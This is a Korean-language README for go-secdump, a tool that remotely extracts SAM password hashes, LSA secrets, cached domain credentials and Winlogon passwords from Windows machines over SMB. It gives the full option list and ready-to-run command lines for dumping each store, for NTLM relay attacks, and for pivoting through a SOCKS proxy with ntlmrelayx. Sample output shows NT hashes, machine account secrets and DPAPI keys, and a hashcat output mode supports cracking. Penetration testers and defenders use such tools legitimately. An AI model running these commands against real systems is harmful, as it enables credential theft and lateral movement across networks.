
Windows 레지스트리에서 원격으로 비밀을 덤프하는 도구
go-secdump 패키지는 SAM 레지스트리 하이브에서 해시를 원격으로 추출하고, SECURITY 하이브에서 LSA 시크릿 및 캐시된 해시를 원격 에이전트 없이 디스크에 쓰지 않고 추출하도록 설계된 도구입니다.
이 도구는 go-smb 라이브러리 위에 구축되었으며, 이를 사용하여 Windows 원격 레지스트리와 통신하여 메모리에서 직접 레지스트리 키를 검색합니다.
이 도구는 학습 경험과 SAM 하이브에서 NT 해시, LSA 시크릿, 도메인 캐시 자격 증명을 레지스트리 하이브를 먼저 디스크에 저장한 후 로컬에서 구문 분석하지 않고 원격으로 검색할 수 있어야 한다는 개념 증명으로 만들어졌습니다.
극복해야 할 주요 문제는 SAM 및 SECURITY 하이브가 NT AUTHORITY\SYSTEM만 읽을 수 있다는 것이었습니다. 하지만 로컬 그룹 관리자가 레지스트리 하이브에 대한 WriteDACL 권한을 가지고 있어 일시적으로 자신에게 읽기 액세스 권한을 부여하여 시크릿을 검색한 다음 원래 권한을 복원할 수 있다는 것을 알게 되었습니다.
그러나 Synacktiv의 Julien Egloff가 2025년 2월에 더 나은 접근 방식을 발견했습니다. 레지스트리 키에 대한 핸들을 여는 데 사용되는 BaseRegOpenKey 요청에는 SeBackupPrivilege를 주장하는 옵션이 있어 DACL을 먼저 변경하지 않고도 레지스트리 키를 열 수 있습니다. 이 도구는 이 새로운 접근 방식을 선호하도록 업데이트되었으며, 요청 시에만 DACL을 변경합니다.
이 프로젝트의 많은 코드는 Impacket의 secdump에서 영감을 받거나 가져왔지만, Windows 레지스트리에 원격으로 액세스하고 필요한 레지스트리 키에만 액세스하도록 변환되었습니다.
레지스트리 구조 및 암호화 방법을 이해하는 데 도움이 된 다른 일부 출처는 아래에 나열되어 있습니다:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
SeBackupPrivilege를 사용하는 아이디어는 Synacktiv에서 비롯되었습니다: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server. Must be hostname when using Kerberos
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
--dc-ip <ip> Optionally specify ip of KDC when using Kerberos authentication
--target-ip <ip> Optionally specify ip of target when using Kerberos authentication
--aes-key <hex> Use a hex encoded AES128/256 key for Kerberos authentication
--keytab-file <file> Authenticate using keys from a keytab file (implies -k). User and
domain are taken from the first keytab entry if not specified
--dns-host <ip[:port]> Override system's default DNS resolver
--dns-tcp Force DNS lookups over TCP. Default true when using --socks-host
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only other explicit targets are included.
--misc Extract misc registry secrets such as the Winlogon
DefaultPassword explicitly. Only other explicit targets are included.
--modify-dacl Change DACLs of reg keys before dump.
Only required if keys cannot be opened using SeBackupPrivilege. (default false)
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file <file> Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout <duration> Dial timeout in format 5s or 2m (default 5s)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging. Bare --debug turns on every
registered package; --debug=msrrp,smb turns on only the
listed package-name suffixes (the '=' form is required
for the filter).
--verbose Enable verbose logging. Same filter syntax as --debug.
--debug and --verbose may be combined with different
filters; a package targeted by both gets the higher level.
--list-log-packages List the registered log package names that can be
targeted with --debug=<suffix> or --verbose=<suffix>,
then exit
-o, --output <file> Filename for writing results (default is stdout). Will append to file if it exists.
--output-format <fmt> Output format: text (default), json, or hashcat
--history Include historical (OldVal) LSA secrets in addition to current values
-q, --quiet Suppress informational headers; print only secrets
-v, --version Show version
이제 --modify-dacl로 활성화되는 선택적 기능으로만, go-secdump는 필요한 레지스트리 키의 DACL을 자동으로 수정하고 복원하려고 시도합니다. 그러나 네트워크 연결 끊김 또는 기타 중단과 같은 복원 중 문제가 발생하면 원격 레지스트리는 수정된 DACL 상태로 남게 됩니다.
--backup-dacl 인수를 사용하면 수정 전에 원래 DACL의 직렬화된 복사본을 저장할 수 있습니다.
연결 문제가 발생하면 --restore-dacl 인수를 사용하여 파일에서 DACL을 나중에 복원할 수 있습니다.
SeBackupPrivilege 트릭을 사용하여 모든 레지스트리 시크릿 덤프
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
SAM, LSA, DCC2 캐시 또는 기타 레지스트리 시크릿만 덤프
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
--misc 대상은 SAM/LSA/DCC2 하이브에 속하지 않는 기타 레지스트리 시크릿을 추출하며, 현재는 Winlogon 자동 로그온 DefaultPassword(및 관련 DefaultUserName)가 있는 경우 이를 추출합니다.
--history를 사용하여 현재 값 외에도 기록(OldVal) LSA 시크릿을 포함합니다. -o/--output으로 결과를 파일에 쓰고(파일이 있으면 덧붙임), --output-format으로 시크릿 서식 방식을 선택합니다:
text (기본값) – 사람이 읽을 수 있는 형식json – 추가 처리를 위해 유용한 유형화된 레코드의 JSON 배열hashcat – hashcat에 바로 입력할 수 있는 순수 NT 해시(모드 1000) 및 $DCC2$ 라인(모드 2100)-q/--quiet를 사용하면 정보 헤더와 요약을 생략하고 시크릿 자체만 출력합니다.
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet
대상으로 지정할 수 있는 로그 패키지 이름을 나열한 다음, 모든 패키지가 아닌 특정 패키지(이름 접미사로 일치)에 대해 디버그 또는 상세 로깅을 활성화합니다:
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb
NTLM 릴레이를 사용하여 레지스트리 시크릿 덤프
리스너 시작
./go-secdump --host 192.168.0.100 -n --relay
192.168.0.100에 대한 관리 액세스 권한이 있는 클라이언트에서 자신의 머신으로 인증을 트리거한 다음 덤프된 시크릿을 기다립니다.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
피벗팅을 위해 또는 Impacket의 ntlmrelayx.py SOCKS 서버 기능을 활용하기 위해 업스트림 SOCKS5 프록시를 사용하여 시크릿을 덤프합니다.
ntlmrelayx.py를 업스트림 프록시로 사용할 때 제공된 사용자 이름은 인증된 클라이언트의 사용자 이름과 일치해야 하지만 비밀번호는 비워둘 수 있습니다.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080